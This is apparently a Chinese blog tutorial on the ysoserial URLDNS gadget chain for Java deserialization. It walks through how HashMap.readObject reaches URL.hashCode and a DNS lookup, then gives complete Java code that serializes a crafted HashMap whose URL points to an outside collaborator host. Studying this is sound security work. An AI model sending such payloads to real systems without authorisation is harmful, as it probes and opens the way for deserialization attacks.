JAVA反序列化-URLDNS链
URLDNS是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求。
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞。
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用。
ysoserial中列出的Gadget:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
在HashMap.readObject中,会调用自己的hash方法。跟进

在HashMap#hash中,会调用key自身的hashCode方法。

所以,如果向HashMap中传入URL对象,在反序列化过程中便会进入URL的hashCode方法;在URL的hashCode方法中,会调用handler.hashCode方法。跟进会进入URLStreamHandler中。

在URLStreamHandler.hashCode方法中可以看到,会调用getHostAddress发起一个dns查询。

以上是整个链的流程,下面是注意的细节:
在调用hashmap的put方法时,也会调用hash,进而会发送一个dns查询 。

所以,为了避免这次的dns查询,ysoserial创建了一个SilentURLStreamHandler类,直接返回null来解决。

也可以在put操作前,将hashCode的值设置成不为-1的其他值。


完整代码:
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://w5201om3r4g559izvz538dpd84eu2j.oastify.com");
Class c = url.getClass();
Field hashCodeF = c.getDeclaredField("hashCode");
hashCodeF.setAccessible(true);
hashCodeF.set(url,123);
// 如果url对象中的hashcode!=-1,就直接返回,否则会进行一次hashcode的计算
hashMap.put(url,1);
// 再改为-1,在反序列化的时候,会调用URL的hashcode方法,会进行一次dns解析
// 反序列化时,会自动调用自身的readObject方法
hashCodeF.set(url,-1);
serialize(hashMap);
总结
hashmap作为source入口内,可以在反序列化时,调用key的hashcode函数。
本文来自博客园,作者:Jarwu,转载请注明原文链接:https://www.cnblogs.com/jarwu/p/17669522.html

浙公网安备 33010602011771号